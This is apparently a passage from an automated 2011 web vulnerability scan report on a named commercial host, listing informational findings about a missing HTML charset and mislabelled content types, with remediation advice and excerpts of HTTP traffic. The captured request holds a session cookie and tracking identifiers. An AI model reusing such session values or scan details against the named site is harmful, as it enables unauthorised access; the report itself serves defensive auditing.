Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:23:45 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
ETag: W/"175721-1268334134000"
Last-Modified: Thu, 11 Mar 2010 19:02:14 GMT
Content-Type: text/javascript
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 175721

var tinymce={majorVersion:"3",minorVersion:"2.3.1",releaseDate:"2009-05-05",_init:function(){var o=this,k=document,l=window,j=navigator,b=j.userAgent,h,a,g,f,e,m;o.isOpera=l.opera&&opera.buildNumber;o
...[SNIP]...
<base href="'+F.documentBaseURI.getURI()+'" />';F.iframeHTML+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />';if(n.relaxedDomain){F.iframeHTML+='<script type="text/javascript">
...[SNIP]...

9. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/empty.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

Response

10. Content type incorrectly stated previous
There are 2 instances of this issue:

/servlet/ObjectMetaData
/version/3.8.0.347a/js/Enumerations.js/1300356906030

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

10.1. https://xchange.demandware.com/servlet/ObjectMetaData previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://xchange.demandware.com
Path:	/servlet/ObjectMetaData

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain JSON.

Request

Response

10.2. https://xchange.demandware.com/version/3.8.0.347a/js/Enumerations.js/1300356906030 previous

Summary

Severity:	Information
Confidence:	Firm
Host:	https://xchange.demandware.com
Path:	/version/3.8.0.347a/js/Enumerations.js/1300356906030

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain

The response states that it contains plain text. However, it actually appears to contain script.

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:23:41 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
Last-Modified: Fri, 29 Apr 2011 11:22:41 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 51364

var Enumerations = {};
Enumerations.ProcedureInstanceStatus = [];
Enumerations.ProcedureInstanceStatus["PROCEDURE\u005fINSTANCE\u005fSTATUS\u005fNOT\u005fSTARTED"] = new XMLObject(StringToDOMRootEleme
...[SNIP]...

Report generated by XSS.CX at Fri Apr 29 07:31:32 CDT 2011.